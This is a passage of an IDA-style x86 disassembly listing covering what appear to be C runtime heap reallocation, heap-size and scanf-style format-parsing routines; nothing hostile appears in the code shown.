		and	esi, 0FFFFFFF0h
		jmp	short loc_414165
; ---------------------------------------------------------------------------


loc_414162:				; CODE XREF: sub_414008+150j
		push	10h
		pop	esi


loc_414165:				; CODE XREF: sub_414008+14Cj
					; sub_414008+158j ...
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_414245
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	sub_41254A
		mov	ebx, eax
		add	esp, 0Ch
		test	ebx, ebx
		jz	loc_414229
		cmp	esi, dword_4240CC
		jnb	short loc_4141ED
		mov	edi, esi
		shr	edi, 4
		push	edi
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_412912
		add	esp, 10h
		test	eax, eax
		jz	short loc_4141B3
		mov	edi, [ebp+arg_0]
		jmp	short loc_4141E5
; ---------------------------------------------------------------------------


loc_4141B3:				; CODE XREF: sub_414008+1A4j
		push	edi
		call	sub_4125E6
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_4141ED
		movzx	eax, byte ptr [ebx]
		shl	eax, 4
		cmp	eax, esi
		jb	short loc_4141CC
		mov	eax, esi


loc_4141CC:				; CODE XREF: sub_414008+1C0j
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	sub_40E940
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_4125A1
		add	esp, 18h


loc_4141E5:				; CODE XREF: sub_414008+1A9j
		test	edi, edi
		jnz	loc_414141


loc_4141ED:				; CODE XREF: sub_414008+18Bj
					; sub_414008+1B6j
		push	esi
		push	0
		push	dword_4BB8E0
		call	dword_41A120	; RtlAllocateHeap
		mov	edi, eax
		test	edi, edi
		jz	short loc_414245
		movzx	eax, byte ptr [ebx]
		shl	eax, 4
		cmp	eax, esi
		jb	short loc_41420E
		mov	eax, esi


loc_41420E:				; CODE XREF: sub_414008+202j
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	sub_40E940
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_4125A1
		add	esp, 18h
		jmp	short loc_41423D
; ---------------------------------------------------------------------------


loc_414229:				; CODE XREF: sub_414008+17Fj
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4BB8E0
		call	dword_41A154	; RtlReAllocateHeap
		mov	edi, eax


loc_41423D:				; CODE XREF: sub_414008+21Fj
		test	edi, edi
		jnz	loc_414141


loc_414245:				; CODE XREF: sub_414008+162j
					; sub_414008+1F8j
		cmp	dword_4BA2DC, 0
		jz	loc_414141
		push	esi
		call	sub_4115BA
		test	eax, eax
		pop	ecx
		jnz	loc_414165
		jmp	short loc_4142A1
; ---------------------------------------------------------------------------


loc_414263:				; CODE XREF: sub_414008+143j
					; sub_414008+297j
		xor	eax, eax
		cmp	esi, 0FFFFFFE0h
		ja	short loc_41428D
		test	esi, esi
		jnz	short loc_414271
		push	1
		pop	esi


loc_414271:				; CODE XREF: sub_414008+264j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4BB8E0
		call	dword_41A154	; RtlReAllocateHeap
		test	eax, eax
		jnz	short loc_4142A3


loc_41428D:				; CODE XREF: sub_414008+260j
		cmp	dword_4BA2DC, 0
		jz	short loc_4142A3
		push	esi
		call	sub_4115BA
		test	eax, eax
		pop	ecx
		jnz	short loc_414263


loc_4142A1:				; CODE XREF: sub_414008+2Bj
					; sub_414008+134j ...
		xor	eax, eax


loc_4142A3:				; CODE XREF: sub_414008+16j
					; sub_414008+13Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_414008	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4142A8	proc near		; CODE XREF: sub_40F7C3+7p
					; sub_40F7C3+26p

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, dword_4BB8E4
		push	esi
		cmp	eax, 3
		jnz	short loc_4142D1
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_4117EF
		test	eax, eax
		pop	ecx
		jz	short loc_4142CE
		mov	eax, [esi-4]
		sub	eax, 9
		jmp	short loc_414306
; ---------------------------------------------------------------------------


loc_4142CE:				; CODE XREF: sub_4142A8+1Cj
		push	esi
		jmp	short loc_4142F8
; ---------------------------------------------------------------------------


loc_4142D1:				; CODE XREF: sub_4142A8+Ej
		cmp	eax, 2
		jnz	short loc_4142F5
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+arg_0]
		call	sub_41254A
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4142F5
		movzx	eax, byte ptr [eax]
		shl	eax, 4
		jmp	short loc_414306
; ---------------------------------------------------------------------------


loc_4142F5:				; CODE XREF: sub_4142A8+2Cj
					; sub_4142A8+43j
		push	[ebp+arg_0]


loc_4142F8:				; CODE XREF: sub_4142A8+27j
		push	0
		push	dword_4BB8E0
		call	dword_41A160	; RtlSizeHeap


loc_414306:				; CODE XREF: sub_4142A8+24j
					; sub_4142A8+4Bj
		pop	esi
		leave
		retn
sub_4142A8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414309	proc near		; CODE XREF: sub_40F871+2Ap

var_1C4		= byte ptr -1C4h
var_1C3		= byte ptr -1C3h
var_64		= byte ptr -64h
var_59		= byte ptr -59h
var_44		= dword	ptr -44h
var_3E		= word ptr -3Eh
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_37		= byte ptr -37h
var_35		= byte ptr -35h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C4h
		and	[ebp+var_15], 0
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		push	edi
		mov	al, [esi]
		mov	[ebp+var_4], ebx
		test	al, al
		mov	[ebp+var_34], ebx
		jz	loc_414D0F
		mov	edi, [ebp+arg_0]
		jmp	short loc_414338
; ---------------------------------------------------------------------------


loc_414333:				; CODE XREF: sub_414309+9CEj
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx


loc_414338:				; CODE XREF: sub_414309+28j
		cmp	dword_424430, 1
		jle	short loc_414350
		movzx	eax, al
		push	8
		push	eax
		call	sub_414E86
		pop	ecx
		pop	ecx
		jmp	short loc_41435F
; ---------------------------------------------------------------------------


loc_414350:				; CODE XREF: sub_414309+36j
		mov	ecx, off_424224
		movzx	eax, al
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_41435F:				; CODE XREF: sub_414309+45j
		cmp	eax, ebx
		jz	short loc_414399
		dec	[ebp+var_4]
		push	edi
		lea	eax, [ebp+var_4]
		push	edi
		push	eax
		call	sub_414D96
		pop	ecx
		pop	ecx
		push	eax
		call	sub_414D7F
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_417399
		add	esp, 0Ch


loc_414387:				; CODE XREF: sub_414309+8Ej
		test	eax, eax
		jz	short loc_414399
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_417399
		pop	ecx
		jmp	short loc_414387
; ---------------------------------------------------------------------------


loc_414399:				; CODE XREF: sub_414309+58j
					; sub_414309+80j
		cmp	byte ptr [esi],	25h
		jnz	loc_414C7B
		and	[ebp+var_35], 0
		and	[ebp+var_18], 0
		and	[ebp+var_17], 0
		and	[ebp+var_E], 0
		and	[ebp+var_F], 0
		and	[ebp+var_16], 0
		xor	edi, edi
		and	[ebp+var_5], 0
		mov	[ebp+var_1C], ebx
		mov	[ebp+var_20], ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_D], 1
		mov	[ebp+var_30], ebx


loc_4143D0:				; CODE XREF: sub_414309+172j
		movzx	ebx, byte ptr [esi+1]
		inc	esi
		cmp	dword_424430, 1
		jle	short loc_4143ED
		movzx	eax, bl
		push	4
		push	eax
		call	sub_414E86
		pop	ecx
		pop	ecx
		jmp	short loc_4143FC
; ---------------------------------------------------------------------------


loc_4143ED:				; CODE XREF: sub_414309+D3j
		mov	ecx, off_424224
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_4143FC:				; CODE XREF: sub_414309+E2j
		test	eax, eax
		jz	short loc_414412
		mov	eax, [ebp+var_C]
		inc	[ebp+var_20]
		lea	eax, [eax+eax*4]
		lea	eax, [ebx+eax*2-30h]
		mov	[ebp+var_C], eax
		jmp	short loc_414477
; ---------------------------------------------------------------------------


loc_414412:				; CODE XREF: sub_414309+F5j
		cmp	ebx, 4Eh
		jg	short loc_414455
		jz	short loc_414477
		cmp	ebx, 2Ah
		jz	short loc_414450
		cmp	ebx, 46h
		jz	short loc_414477
		cmp	ebx, 49h
		jz	short loc_414432
		cmp	ebx, 4Ch
		jnz	short loc_414464
		inc	[ebp+var_D]
		jmp	short loc_414477
; ---------------------------------------------------------------------------


loc_414432:				; CODE XREF: sub_414309+11Dj
		cmp	byte ptr [esi+1], 36h
		jnz	short loc_414464
		cmp	byte ptr [esi+2], 34h
		lea	eax, [esi+2]
		jnz	short loc_414464
		inc	[ebp+var_30]
		and	[ebp+var_28], 0
		and	[ebp+var_24], 0
		mov	esi, eax
		jmp	short loc_414477
; ---------------------------------------------------------------------------


loc_414450:				; CODE XREF: sub_414309+113j
		inc	[ebp+var_E]
		jmp	short loc_414477
; ---------------------------------------------------------------------------


loc_414455:				; CODE XREF: sub_414309+10Cj
		cmp	ebx, 68h
		jz	short loc_414471
		cmp	ebx, 6Ch
		jz	short loc_414469
		cmp	ebx, 77h
		jz	short loc_41446C


loc_414464:				; CODE XREF: sub_414309+122j
					; sub_414309+12Dj ...
		inc	[ebp+var_F]
		jmp	short loc_414477
; ---------------------------------------------------------------------------


loc_414469:				; CODE XREF: sub_414309+154j
		inc	[ebp+var_D]


loc_41446C:				; CODE XREF: sub_414309+159j
		inc	[ebp+var_5]
		jmp	short loc_414477
; ---------------------------------------------------------------------------


loc_414471:				; CODE XREF: sub_414309+14Fj
		dec	[ebp+var_D]
		dec	[ebp+var_5]


loc_414477:				; CODE XREF: sub_414309+107j
					; sub_414309+10Ej ...
		cmp	[ebp+var_F], 0
		jz	loc_4143D0
		cmp	[ebp+var_E], 0
		mov	[ebp+arg_4], esi
		jnz	short loc_41449C
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_44], eax
		add	eax, 4
		mov	[ebp+arg_8], eax
		mov	eax, [eax-4]
		mov	[ebp+var_2C], eax


loc_41449C:				; CODE XREF: sub_414309+17Fj
		and	[ebp+var_F], 0
		cmp	[ebp+var_5], 0
		jnz	short loc_4144BA
		mov	al, [esi]
		cmp	al, 53h
		jz	short loc_4144B6
		cmp	al, 43h
		jz	short loc_4144B6
		or	[ebp+var_5], 0FFh
		jmp	short loc_4144BA
; ---------------------------------------------------------------------------


loc_4144B6:				; CODE XREF: sub_414309+1A1j
					; sub_414309+1A5j
		mov	[ebp+var_5], 1


loc_4144BA:				; CODE XREF: sub_414309+19Bj
					; sub_414309+1ABj
		mov	ebx, [ebp+arg_4]
		movzx	esi, byte ptr [ebx]
		or	esi, 20h
		cmp	esi, 6Eh
		mov	[ebp+var_3C], esi
		jz	short loc_4144F3
		cmp	esi, 63h
		jz	short loc_4144E4
		cmp	esi, 7Bh
		jz	short loc_4144E4
		push	[ebp+arg_0]
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_414D96
		pop	ecx
		jmp	short loc_4144EF
; ---------------------------------------------------------------------------


loc_4144E4:				; CODE XREF: sub_414309+1C5j
					; sub_414309+1CAj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_414D65


loc_4144EF:				; CODE XREF: sub_414309+1D9j
		pop	ecx
		mov	[ebp+var_14], eax


loc_4144F3:				; CODE XREF: sub_414309+1C0j
		xor	eax, eax
		cmp	[ebp+var_20], eax
		jz	short loc_414503
		cmp	[ebp+var_C], eax
		jz	loc_414CDF


loc_414503:				; CODE XREF: sub_414309+1EFj
		cmp	esi, 6Fh
		jg	loc_41476A
		jz	loc_414A1C
		cmp	esi, 63h
		jz	loc_414747
		cmp	esi, 64h
		jz	loc_414A1C
		jle	loc_414794
		cmp	esi, 67h
		jle	short loc_414567
		cmp	esi, 69h
		jz	short loc_41454F
		cmp	esi, 6Eh
		jnz	loc_414794
		cmp	[ebp+var_E], 0
		mov	edi, [ebp+var_4]
		jz	loc_414C4A
		jmp	loc_414C70
; ---------------------------------------------------------------------------


loc_41454F:				; CODE XREF: sub_414309+229j
		push	64h
		pop	esi


loc_414552:				; CODE XREF: sub_414309+480j
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	loc_4147DC
		mov	[ebp+var_17], 1
		jmp	loc_4147E1
; ---------------------------------------------------------------------------


loc_414567:				; CODE XREF: sub_414309+224j
		mov	ebx, [ebp+var_14]
		lea	esi, [ebp+var_1C4]
		cmp	ebx, 2Dh
		jnz	short loc_414583
		mov	[ebp+var_1C4], bl
		lea	esi, [ebp+var_1C3]
		jmp	short loc_414588
; ---------------------------------------------------------------------------


loc_414583:				; CODE XREF: sub_414309+26Aj
		cmp	ebx, 2Bh
		jnz	short loc_41459F


loc_414588:				; CODE XREF: sub_414309+278j
		mov	edi, [ebp+arg_0]
		dec	[ebp+var_C]
		inc	[ebp+var_4]
		push	edi
		call	sub_414D65
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_4145A2
; ---------------------------------------------------------------------------


loc_41459F:				; CODE XREF: sub_414309+27Dj
		mov	edi, [ebp+arg_0]


loc_4145A2:				; CODE XREF: sub_414309+294j
		cmp	[ebp+var_20], 0
		jz	short loc_4145B1
		cmp	[ebp+var_C], 15Dh
		jle	short loc_4145B8


loc_4145B1:				; CODE XREF: sub_414309+29Dj
		mov	[ebp+var_C], 15Dh


loc_4145B8:				; CODE XREF: sub_414309+2A6j
					; sub_414309+2F2j
		cmp	dword_424430, 1
		jle	short loc_4145CD
		push	4
		push	ebx
		call	sub_414E86
		pop	ecx
		pop	ecx
		jmp	short loc_4145D8
; ---------------------------------------------------------------------------


loc_4145CD:				; CODE XREF: sub_414309+2B6j
		mov	eax, off_424224
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_4145D8:				; CODE XREF: sub_414309+2C2j
		test	eax, eax
		jz	short loc_4145FD
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_4145FD
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_414D65
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_4145B8
; ---------------------------------------------------------------------------


loc_4145FD:				; CODE XREF: sub_414309+2D1j
					; sub_414309+2DBj
		cmp	byte_424434, bl
		jnz	short loc_41466B
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41466B
		inc	[ebp+var_4]
		push	edi
		call	sub_414D65
		mov	ebx, eax
		mov	al, byte_424434
		mov	[esi], al
		pop	ecx
		mov	[ebp+var_14], ebx
		inc	esi


loc_414626:				; CODE XREF: sub_414309+360j
		cmp	dword_424430, 1
		jle	short loc_41463B
		push	4
		push	ebx
		call	sub_414E86
		pop	ecx
		pop	ecx
		jmp	short loc_414646
; ---------------------------------------------------------------------------


loc_41463B:				; CODE XREF: sub_414309+324j
		mov	eax, off_424224
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_414646:				; CODE XREF: sub_414309+330j
		test	eax, eax
		jz	short loc_41466B
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41466B
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_414D65
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_414626
; ---------------------------------------------------------------------------


loc_41466B:				; CODE XREF: sub_414309+2FAj
					; sub_414309+304j ...
		cmp	[ebp+var_1C], 0
		jz	loc_414703
		cmp	ebx, 65h
		jz	short loc_414683
		cmp	ebx, 45h
		jnz	loc_414703


loc_414683:				; CODE XREF: sub_414309+36Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_414703
		mov	byte ptr [esi],	65h
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_414D65
		mov	ebx, eax
		pop	ecx
		cmp	ebx, 2Dh
		mov	[ebp+var_14], ebx
		jnz	short loc_4146AA
		mov	[esi], al
		inc	esi
		jmp	short loc_4146AF
; ---------------------------------------------------------------------------


loc_4146AA:				; CODE XREF: sub_414309+39Aj
		cmp	ebx, 2Bh
		jnz	short loc_4146CD


loc_4146AF:				; CODE XREF: sub_414309+39Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jnz	short loc_4146BE
		and	[ebp+var_C], eax
		jmp	short loc_4146CD
; ---------------------------------------------------------------------------


loc_4146BE:				; CODE XREF: sub_414309+3AEj
					; sub_414309+3F8j
		inc	[ebp+var_4]
		push	edi
		call	sub_414D65
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_4146CD:				; CODE XREF: sub_414309+3A4j
					; sub_414309+3B3j
		cmp	dword_424430, 1
		jle	short loc_4146E2
		push	4
		push	ebx
		call	sub_414E86
		pop	ecx
		pop	ecx
		jmp	short loc_4146ED
; ---------------------------------------------------------------------------


loc_4146E2:				; CODE XREF: sub_414309+3CBj
		mov	eax, off_424224
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_4146ED:				; CODE XREF: sub_414309+3D7j
		test	eax, eax
		jz	short loc_414703
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_414703
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		jmp	short loc_4146BE
; ---------------------------------------------------------------------------


loc_414703:				; CODE XREF: sub_414309+366j
					; sub_414309+374j ...
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_414D7F
		cmp	[ebp+var_1C], 0
		pop	ecx
		pop	ecx
		jz	loc_414D0F
		cmp	[ebp+var_E], 0
		jnz	loc_414C70
		inc	[ebp+var_34]
		and	byte ptr [esi],	0
		lea	eax, [ebp+var_1C4]
		push	eax
		movsx	eax, [ebp+var_D]
		push	[ebp+var_2C]
		dec	eax
		push	eax
		call	off_4241F0
		add	esp, 0Ch
		jmp	loc_414C70
; ---------------------------------------------------------------------------


loc_414747:				; CODE XREF: sub_414309+20Cj
		cmp	[ebp+var_20], eax
		jnz	short loc_414756
		inc	[ebp+var_C]
		mov	[ebp+var_20], 1


loc_414756:				; CODE XREF: sub_414309+441j
		cmp	[ebp+var_5], 0
		jle	short loc_414760
		mov	[ebp+var_16], 1


loc_414760:				; CODE XREF: sub_414309+451j
		mov	edi, offset dword_424220
		jmp	loc_414875
; ---------------------------------------------------------------------------


loc_41476A:				; CODE XREF: sub_414309+1FDj
		mov	eax, esi
		sub	eax, 70h
		jz	loc_414A18
		sub	eax, 3
		jz	loc_414866
		dec	eax
		dec	eax
		jz	loc_414A1C
		sub	eax, 3
		jz	loc_414552
		sub	eax, 3
		jz	short loc_4147B8


loc_414794:				; CODE XREF: sub_414309+21Bj
					; sub_414309+22Ej
		movzx	eax, byte ptr [ebx]
		cmp	eax, [ebp+var_14]
		jnz	loc_414CDF
		dec	[ebp+var_15]
		cmp	[ebp+var_E], 0
		jnz	loc_414C70
		mov	eax, [ebp+var_44]
		mov	[ebp+arg_8], eax
		jmp	loc_414C70
; ---------------------------------------------------------------------------


loc_4147B8:				; CODE XREF: sub_414309+489j
		cmp	[ebp+var_5], 0
		jle	short loc_4147C2
		mov	[ebp+var_16], 1


loc_4147C2:				; CODE XREF: sub_414309+4B3j
		mov	edi, [ebp+arg_4]
		inc	edi
		mov	[ebp+arg_4], edi
		cmp	byte ptr [edi],	5Eh
		jnz	loc_414879
		mov	eax, edi
		lea	edi, [eax+1]
		jmp	loc_414875
; ---------------------------------------------------------------------------


loc_4147DC:				; CODE XREF: sub_414309+24Fj
		cmp	ebx, 2Bh
		jnz	short loc_414803


loc_4147E1:				; CODE XREF: sub_414309+259j
		dec	[ebp+var_C]
		jnz	short loc_4147F2
		cmp	[ebp+var_20], 0
		jz	short loc_4147F2
		mov	[ebp+var_F], 1
		jmp	short loc_414803
; ---------------------------------------------------------------------------


loc_4147F2:				; CODE XREF: sub_414309+4DBj
					; sub_414309+4E1j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_414D65
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_414803:				; CODE XREF: sub_414309+4D6j
					; sub_414309+4E7j
		cmp	ebx, 30h
		jnz	loc_414A51
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_414D65
		mov	ebx, eax
		pop	ecx
		cmp	bl, 78h
		mov	[ebp+var_14], ebx
		jz	short loc_414851
		cmp	bl, 58h
		jz	short loc_414851
		cmp	esi, 78h
		mov	[ebp+var_1C], 1
		jz	short loc_41483B
		push	6Fh


loc_414835:				; CODE XREF: sub_414309+55Bj
		pop	esi
		jmp	loc_414A51
; ---------------------------------------------------------------------------


loc_41483B:				; CODE XREF: sub_414309+528j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_414D7F
		pop	ecx
		pop	ecx
		push	30h
		pop	ebx
		jmp	loc_414A4E
; ---------------------------------------------------------------------------


loc_414851:				; CODE XREF: sub_414309+517j
					; sub_414309+51Cj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_414D65
		pop	ecx
		mov	ebx, eax
		mov	[ebp+var_14], ebx
		push	78h
		jmp	short loc_414835
; ---------------------------------------------------------------------------


loc_414866:				; CODE XREF: sub_414309+46Fj
		cmp	[ebp+var_5], 0
		jle	short loc_414870
		mov	[ebp+var_16], 1


loc_414870:				; CODE XREF: sub_414309+561j
		mov	edi, offset dword_424218


loc_414875:				; CODE XREF: sub_414309+45Cj
					; sub_414309+4CEj
		or	[ebp+var_18], 0FFh


loc_414879:				; CODE XREF: sub_414309+4C3j
		push	20h
		lea	eax, [ebp+var_64]
		push	0
		push	eax
		call	sub_40E800
		add	esp, 0Ch
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_41489D
		cmp	byte ptr [edi],	5Dh
		jnz	short loc_41489D
		mov	dl, 5Dh
		inc	edi
		mov	[ebp+var_59], 20h
		jmp	short loc_4148A0
; ---------------------------------------------------------------------------


loc_41489D:				; CODE XREF: sub_414309+584j
					; sub_414309+589j
		mov	dl, [ebp+var_35]


loc_4148A0:				; CODE XREF: sub_414309+592j
					; sub_414309+5E1j ...
		mov	al, [edi]
		cmp	al, 5Dh
		jz	short loc_414905
		inc	edi
		cmp	al, 2Dh
		jnz	short loc_4148EC
		test	dl, dl
		jz	short loc_4148EC
		mov	cl, [edi]
		cmp	cl, 5Dh
		jz	short loc_4148EC
		inc	edi
		cmp	dl, cl
		jnb	short loc_4148BF
		mov	al, cl
		jmp	short loc_4148C3
; ---------------------------------------------------------------------------


loc_4148BF:				; CODE XREF: sub_414309+5B0j
		mov	al, dl
		mov	dl, cl


loc_4148C3:				; CODE XREF: sub_414309+5B4j
		cmp	dl, al
		ja	short loc_4148E8
		movzx	edx, dl
		movzx	esi, al
		sub	esi, edx
		inc	esi


loc_4148D0:				; CODE XREF: sub_414309+5DDj
		mov	ecx, edx
		mov	eax, edx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		inc	edx
		dec	esi
		jnz	short loc_4148D0


loc_4148E8:				; CODE XREF: sub_414309+5BCj
		xor	dl, dl
		jmp	short loc_4148A0
; ---------------------------------------------------------------------------


loc_4148EC:				; CODE XREF: sub_414309+5A0j
					; sub_414309+5A4j ...
		movzx	ecx, al
		mov	dl, al
		mov	eax, ecx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		jmp	short loc_4148A0
; ---------------------------------------------------------------------------


loc_414905:				; CODE XREF: sub_414309+59Bj
		cmp	byte ptr [edi],	0
		jz	loc_414D0F
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_414917
		mov	[ebp+arg_4], edi


loc_414917:				; CODE XREF: sub_414309+609j
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+var_2C]
		dec	[ebp+var_4]
		push	edi
		push	[ebp+var_14]
		mov	[ebp+var_30], esi
		call	sub_414D7F
		pop	ecx
		pop	ecx


loc_41492E:				; CODE XREF: sub_414309+6BCj
					; sub_414309+6C4j
		cmp	[ebp+var_20], 0
		jz	short loc_414942
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	loc_4149DE


loc_414942:				; CODE XREF: sub_414309+629j
		inc	[ebp+var_4]
		push	edi
		call	sub_414D65
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+var_14], eax
		jz	short loc_4149D2
		mov	ecx, eax
		push	1
		and	ecx, 7
		pop	edx
		movsx	ebx, [ebp+var_18]
		shl	edx, cl
		mov	ecx, eax
		sar	ecx, 3
		movsx	ecx, [ebp+ecx+var_64]
		xor	ecx, ebx
		test	edx, ecx
		jz	short loc_4149D2
		cmp	[ebp+var_E], 0
		jnz	short loc_4149CA
		cmp	[ebp+var_16], 0
		jz	short loc_4149BF
		mov	ecx, off_424224
		mov	[ebp+var_38], al
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_41499E
		inc	[ebp+var_4]
		push	edi
		call	sub_414D65
		pop	ecx
		mov	[ebp+var_37], al


loc_41499E:				; CODE XREF: sub_414309+686j
		push	dword_424430
		lea	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_3E]
		push	eax
		call	sub_4172D1
		mov	ax, [ebp+var_3E]
		add	esp, 0Ch
		mov	[esi], ax
		inc	esi
		inc	esi
		jmp	short loc_4149C2
; ---------------------------------------------------------------------------


loc_4149BF:				; CODE XREF: sub_414309+673j
		mov	[esi], al
		inc	esi


loc_4149C2:				; CODE XREF: sub_414309+6B4j
		mov	[ebp+var_2C], esi
		jmp	loc_41492E
; ---------------------------------------------------------------------------


loc_4149CA:				; CODE XREF: sub_414309+66Dj
		inc	[ebp+var_30]
		jmp	loc_41492E
; ---------------------------------------------------------------------------


loc_4149D2:				; CODE XREF: sub_414309+649j
					; sub_414309+667j
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_414D7F
		pop	ecx
		pop	ecx


loc_4149DE:				; CODE XREF: sub_414309+633j
		cmp	[ebp+var_30], esi
		jz	loc_414D0F
		cmp	[ebp+var_E], 0
		jnz	loc_414C70
		inc	[ebp+var_34]
		cmp	[ebp+var_3C], 63h
		jz	loc_414C70
		cmp	[ebp+var_16], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_414A10
		and	word ptr [eax],	0
		jmp	loc_414C70
; ---------------------------------------------------------------------------


loc_414A10:				; CODE XREF: sub_414309+6FCj
		and	byte ptr [eax],	0
		jmp	loc_414C70
; ---------------------------------------------------------------------------


loc_414A18:				; CODE XREF: sub_414309+466j
		mov	[ebp+var_D], 1


loc_414A1C:				; CODE XREF: sub_414309+203j
					; sub_414309+215j ...
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	short loc_414A2A
		mov	[ebp+var_17], 1
		jmp	short loc_414A2F
; ---------------------------------------------------------------------------


loc_414A2A:				; CODE XREF: sub_414309+719j
		cmp	ebx, 2Bh
		jnz	short loc_414A51


loc_414A2F:				; CODE XREF: sub_414309+71Fj
		dec	[ebp+var_C]
		jnz	short loc_414A40
		cmp	[ebp+var_20], 0
		jz	short loc_414A40
		mov	[ebp+var_F], 1
		jmp	short loc_414A51
; ---------------------------------------------------------------------------


loc_414A40:				; CODE XREF: sub_414309+729j
					; sub_414309+72Fj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_414D65
		pop	ecx
		mov	ebx, eax


loc_414A4E:				; CODE XREF: sub_414309+543j
		mov	[ebp+var_14], ebx


loc_414A51:				; CODE XREF: sub_414309+4FDj
					; sub_414309+52Dj ...
		cmp	[ebp+var_30], 0
		jz	loc_414B6A
		cmp	[ebp+var_F], 0
		jnz	loc_414B48


loc_414A65:				; CODE XREF: sub_414309+82Cj
		cmp	esi, 78h
		jnz	short loc_414AB9
		cmp	dword_424430, 1
		jle	short loc_414A82
		push	80h
		push	ebx
		call	sub_414E86
		pop	ecx
		pop	ecx
		jmp	short loc_414A8F
; ---------------------------------------------------------------------------


loc_414A82:				; CODE XREF: sub_414309+768j
		mov	eax, off_424224
		mov	al, [eax+ebx*2]
		and	eax, 80h


loc_414A8F:				; CODE XREF: sub_414309+777j
		test	eax, eax
		jz	loc_414B3A
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	4
		pop	ecx
		call	sub_4173D0
